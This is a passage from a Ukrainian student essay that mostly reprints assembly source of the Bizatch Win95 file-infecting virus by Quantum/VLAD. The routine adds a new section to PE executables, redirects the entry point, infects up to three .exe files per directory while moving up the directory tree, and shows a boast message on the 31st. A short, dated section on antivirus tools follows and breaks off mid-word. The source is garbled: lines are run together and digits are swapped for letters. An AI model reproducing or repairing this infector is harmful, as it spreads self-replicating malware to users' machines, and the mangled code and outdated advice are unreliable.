    ; Обчислимо віртуальний розмір нового об'єктаmov ecx, dword ptr [ebp + offset objalign]mov eax, vend-vstart 1000 hxor edx.edxdiv ecxinc eaxmul ecxmov dword ptr [ebp + offset virtualsize], eax

    ; Обчислимо фізична зсув нового об'єктаmov eax, [edi-5 * 8 +20]add eax, [edi-5 * 8 +16]mov ecx, dword ptr [ebp + offset filealign]xor edx, edxdiv ecxinc eaxmul ecxmov dword ptr [ebp + offset physicaloffset], eax

    , віднови розмір образу (розмір в пам'яті) файлуmov eax, vend-vstart 1000 hadd eax, dword ptr [ebp + offset imagesize]mov ecx, [ebp + offset objalign]xor edx, edxdiv ecxinc eaxmul ecxmov dword ptr [ebp + offset imagesize], eax

    ; скопіюємо новий об'єкт до таблиці об'єктівmov ecx, 10rep movsd

    ; Обчислимо точку входу RVA

    mov eax, dword ptr [ebp + offset RVA]mov ebx, dword ptr [ebp + offset entrypointRVA]

    mov dword ptr [ebp + offset entrypointRVA], eaxsub eax.ebxadd eax, 5

    ; Встановимо значення, необхідне для повернення в носійmov dword ptr [ebp + offset subme], eax

    ; Поставимо покажчик позиції читання/запису на початок РЕ-заголовка

    push Проpush Проpush dword ptr [ebp + offset peheaderoffset]push dword ptr [ebp + offset ahand]call SetFilePointer

    ; Запишемо РЕ-заголовок і таблицю об'єктів у файл

    push Проlea eax, [ebp + offset bytesread]push eaxpush dword ptr [ebp + offset headersize]lea eax, [ebp + offset peheader]push eaxpush dword ptr [ebp + offset ahand]call WriteFile

    ; Збільшимо лічильник заражень

    inc byte ptr [ebp + offset countinfect]

    ; Поставимо покажчик позиції читання/запису
    ; з фізичного зміщення нового об'єкта

    push Проpush Проpush dword ptr [ebp + offset physicaloffset]push dword ptr [ebp + offset ahand]call SetFilePointer

    ; Запишемо тіло вірусу в новий об'єктpush Проlea eax, [ebp + offset bytesread]push eaxpush vend-vstartlea eax, [ebp + offset vstart]push eaxpush dword ptr [ebp + offset ahand]call WriteFile

    ; 3акроем файлnotape:push dword ptr [ebp + offset ahand]call CloseFile

    ; Перехід до наступного файлуfindnextone:

    ; Перевіримо, скільки файлів заразили: якщо 3,
    ; то виходимо, якщо менше - шукаємо наступний

    cmp byte ptr [ebp + offset countinfect], 3

    jz outty

    ; Шукаємо Наступне фото

    lea eax, [ebp + offset win32_data_thang]push eaxpush dword ptr [ebp + offset searchhandle]call FindNext

    ; Якщо файл знайдено, переходимо до зараженняor eax, eaxjnz gofile

    ; Сюди потрапляємо, якщо файл не знайденоfoundnothing:

    ; Змінимо директоріюхоr eax, eaxlea edi, [ebp + offset tempdir]mov ecx, 256/4rep stosdlea edi, [ebp + offset tempdirl]mov ecx, 256/4rep stosd

    ; Отримаємо поточну директоріюlea esi, [ebp + offset tempdir]push esipush 255call GetCurDir

    ; Змінимо директорію на "."

    lea eax, [ebp + offset dotdot]push eaxcall SetCurDir

    ; Отримаємо поточну директоріюlea edi, [ebp + offset tempdirl]push edipush 255call GetCurDir

    ; Перевіримо, чи це коренева директорія. Якщо так, то виходимоmov ecx, 256/4rep cmpsdjnz infectdir

    ; "3аметаем сліди" і виходимо до програми-носійoutty:

    ; Повернемося в оригінальну поточну директоріюlea eax, [ebp + offset orgdir]push eaxcall SetCurDir

    ; Отримаємо поточну дату і час

    lea eax, [ebp + offset systimestruct]

    push eaxcall GetTime

    ; Перевіримо число. Якщо це 31-е, видаємо повідомленняcmp word ptr [ebp + offset day], 31jnz nopayload

    ; Повідомлення для користувача

    push 1000h; MB_SYSTEMMODALlea eax, [ebp + offset boxtitle]push eaxlea eax, [ebp + offset boxmsg]push eaxpush 0call MsgBox

    ; Вихід у програму-носійnopayload:pop eaxjmp eax

    ; Якщо KERNEL буде виявлений, його зміщення буде записаноkern dd OBFF93B95h

    ; Значення KERNEL, відомі намkern1 dd OBFF93B95hkern2 dd OBFF93C1Dh

    ; Читання поточній директорії
    GetCurDir:

    ; 3апішем в стек значення для отримання поточноїдиректорії і викличемо KERNEL

    push OBFF77744hjmp [ebp + offset kern]

    ; Установка поточної директорії
    SetCurDir:

    ; 3апішем в стек значення для встановлення поточноїдиректорії і викличемо KERNEL

    push OBFF7771Dhjmp [ebp + offset kern]

    ; Отримання часу та дати
    GetTime:

    ; Перевіримо, який KERNEL працюєcmp [ebp + offset kern], OBFF93B95hjnz gettimekern2

    ; 3апішем в стек значення для отримання
    ; часу та дати і викличемо KERNEL

    push OBFF9DOB6hjmp [ebp + offset kern]gettimekern2:

    ; Запишемо в стек значення для отримання
    ; Часу і дати і викличемо KERNEL

    push OBFF9Dl4Ehjmp [ebp + offset kern]

    ; Висновок повідомлення
    MsgBox:

    ; Запишемо в стек значення для виведення повідомлення та викличемо KERNELpush OBFF638D9hjmp [ebp + offset kern]

    ; Пошук першого файлу
    FindFile:

    ; Запишемо в стек значення для пошуку першого файлу
    ; і викличемо KERNEL

    push OBFF77893hjmp [ebp + offset kern]

    ; Пошук наступного файлу
    FindNext:

    ; Запишемо в стек значення для пошуку
    ; наступного файлу і викличемо KERNEL

    push OBFF778CBhjmp [ebp + offset kern]

    ; Відкриття/створення файлу
    CreateFile:

    ; 3апішем в стек значення для відкриття/створення файлу
    ; і викличемо KERNEL

    push OBFF77817hjmp [ebp + offset kern]

    ; Установка покажчика читання/запису
    SetFilePointer:

    ; Запишемо в стек значення для встановлення
    ; покажчика читання/запису файлу і викличемо KERNEL

    push OBFF76FAOhjmp [ebp + offset kern]

    ; Читання з файлу
    ReadFile:

    ; 3апішем в стек значення для читання з файлу і викличемо KERNELpush OBFF75806hjmp [ebp + offset kern]

    ; 3апісь в файл
    WriteFile:

    ; 3апішем в стек значення для запису у файл і викличемо KERNELpush OBFF7580Dhjmp [ebp + offset kern]

    ; Закриття файлу
    CloseFile:

    ; 3апішем в стек значення для закриття файлу і викличемо KERNELpush OBFF7BC72hjmp [ebp + offset kern]

    ; Лічильник зараженьcountinfect db 0

    ; Використовується для пошуку файлівwin32_data_thang:

    fileattr dd 0createtime dd 0,0lastaccesstime dd 0,0lastwritetime dd 0,0filesize dd 0,0resv dd 0,0fullname db 256 dup (0)realname db 256 dup (0)

    ; Назва повідомлення, що виводиться 31-го числаboxtitle db "Bizatch by Quantum/VLAD", 0

    ; Повідомлення,. виводиться 31-го числаboxmsg db "The taste of fame just got tastier!", 0dhdb "VLAD. Australia does it again with the world" s first Win95 Virus "db Odh.Odhdb 9, "From the old school to the new.", 0dh, 0dhdb 9, "Metabolis", 0dhdb 9, "Qark", 0dhdb 9, "Darkman", 0dhdb 9, "Quantum", 0dhdb 9, "CoKe", 0messagetostupidavers db "Please note: the name of this virus is [Bizatch]"db "written by Quantum of VLAD", 0

    ; Дані про директоріяхorgdir db 256 dup (0)tempdir db 256 dup (0)tempdirl db 256 dup (0)

    Використовується для зміни директоріїdotdot db ".", 0

    ; Використовується для отримання часу/датиsystimestruct:

    dw 0,0,0day dw 0dw 0,0,0,0

    ; Індекс для пошуку файлівsearchhandle dd Про

    ; Маска для пошукуfname db "*. exe", 0

    ; Описувач відкритого файлуahand dd Про

    ; Зсув РЕ-заголовка у файліpeheaderoffset dd Про

    ; Зсув таблиці об'єктів
    ObjedlTableoffset dd Про

    ; Кількість записаних/лічених байт при роботі з файломbytesread dd Про

    ; Новий об'єктnewobject:

    oname db ". vlad", 0,0,0virtualsize dd 0
    RVA dd 0

    physicalsize dd 0physicaloffset dd 0reserved dd 0,0,0objectflags db 40h, 0,0, OCOh

    ; Дані, необхідні для зараження файлуpeheader:signature dd 0cputype dw 0numObj dw 0db 3 * 4 dup (0)
    NtHeaderSize dw 0
    Flags dw 0db 4 * 4 dup (0)entrypointRVA dd 0db 3 * 4 dup (0)objalign dd 0filealign dd 0db 4 * 4 dup (0)imagesize dd 0headersize dd 0

    ; 0бласть пам'яті для читання залишку РЕ-заголовка і таблиці об'єктівvend:

    db 1000h dup (0)endsend vstart

    Методи боротьби з вірусами.

    Розглянемо різні способи боротьби з вірусами. Отже, що ж такеантивірус? Відразу ж розвіємо одну часто виникає ілюзію. Чомусьбагато хто вважає, що антивірус може виявити будь-який вірус, тобто,запустивши антивірусну програму або монітор, можна бути абсолютно впевненимв їхній надійності. Така точка зору не зовсім вірна. Справа в тому, щоантивірус - це теж програма, звичайно, написана професіоналом. Але ціпрограми здатні розпізнавати і знищувати лише відомі віруси. Теє антивірус проти конкретного вірусу може бути написаний лише в томувипадку, коли у програміста є хоча б один екземпляр цьоговірусу. От і йде ця нескінченна війна між авторами вірусів іантивірусів, щоправда, першого в нашій країні чомусь завжди більше, ніждруге. Але і у творців антивірусів є перевага! Справа в тому, щоіснує велика кількість вірусів, алгоритм яких практичноскопійований з алгоритму інших вірусів. Як правило, такі варіації створюютьнепрофесійні програмісти, які з якихось причи-нам вирішилинаписати вірус. Для боротьби з такими «копіями» придумано нову зброю --евристичні аналізатори. З їх допомогою антивірус здатний знаходитиподібні аналоги відомих вірусів, повідомляючи користувачеві, що в нього,схоже, завівся вірус. Природно, надійність евристичного аналізаторане 100%, але все ж його коефіцієнт корисної дії більше 0,5. Такимчином, у цій інформаційній війні, як, втім, і в будь-який інший,залишаються найсильніші. Віруси, які не розпізнаються антивіруснимидетекторами, здатні написати тільки найбільш досвідчені й кваліфікованіпрограмісти.

    Таким чином, на 100% захиститися від вірусів практично неможливо
    (мається на увазі, що користувач змінюється діСкет з друзьяміі грає вігор, а також отримує інформацію з інших джерел, наприклад з мереж).
    Якщо ж не вносити інформацію в комп'ютер з-поза, заразитися вірусомнеможливо - сам він не народиться. Отже, що ж можна порадити, щобстикатися з вірусами якомога менше або, принаймні, тількизіштовхуватися, не допускаяіх на жорсткий диск свого вінчестера. У першучергу - самі елементарні правила "комп'ютерної гігієни»: перевіркадискет на наявність вірусу найнадійнішими антивірусними програмами,такими, наприклад, як AVP або DrWeb. Дуже добре, якщо на жорсткому дискувстановлений ревізор Adinf. Багато користувачів додають рядок запускуревізорів, антивірусів, антивірусних моніторів в конфігур-Ціон файл
    AUTOEXEC.BAT - теж дуже дієво.

    Є певні способи боротьби і з завантажувальними вірусами. Уустановках (SETUP) комп'ютера передбачений захист від запису в MBR. Колизапис починається, BIOS відразу ж її зупиняє і запитуєпідтвердження на дозвіл запису. Природно, слід заборонити запис,а потім завантажиться зі своєю, заздалегідь підготовленої, системної дискети. Убільшості комп'ютерних користувачів такої дискети немає - а треба бзавести. І це ще не все. Віруси постійно удосконалюються, і всі їхрізноманіття охопити, звичайно, неможливо. Тому треба бути готовим, щорано чи пізно вірус все-таки потрапить на жорсткий диск, і зустріти йоготреба у всеозброєнні.

    Стандартні програми захисту

    У більшості випадків вірус, що заразив комп'ютер, допоможуть виявитивже розроблені програми-детектори. Вони перевіряють, чи є у файлахна вказаному користувачем диску специфічна для даного вірусупослідовність байт. При виявленні вірусу програма виводить на екранвідповідне повідомлення. Варто також зауважити, що програми-детектори НЕзанадто універсальні, оскільки здатні виявити тільки відомівіруси. Деяким такими програмами можна повідомити спеціальнупослідовність байт, характерну для якогось вірусу, і вони зможутьвиявити інфіковані їм файли - наприклад, це вміє NotronAntiVirusабо AVSP. Програма Aidstest застаріла і зараз вже практично невикористовується. Найбільш широке поширення одержали програми DrWeb і
    AVP. Завдяки своїм новітнім детекторів, вони можуть виявити будь-які віруси
    - Як самі старі, так і тільки що з'явилися. Ще треба згадатидетектор Adinf. Ця антивірусна програма вияв-жива всі віруси, незмінюють довжину файлів, невидимі віруси, і багато інших. Таким чином,ці три програми забезпечать найпотужнішу захист проти вірусів. До речі, назаході теж вважають за краще користуватися російськими програмами DrWeb і AVP.
    Рятуючись від вірусів, потрібно створити потужний захист проти них. Установити своємудиску AVP, DrWeb та Adinf. Кожна програма хороша по-своєму - нехай захистбуде багаторівневою. Всі ці програми можна вписати в файл AUTOEXEC.BAT,тоді при завантаженні комп'ютера перевірка на зараження вірусом будепроводиться автоматично. Завжди перевіряйте файли, що потрапляють на вашкомпью

         
     
         
    Реферат Банк
     
    Рефераты
     
    Бесплатные рефераты
     

     

     

     

     

     

     

     
     
     
      Все права защищены. Reff.net.ua - українські реферати ! DMCA.com Protection Status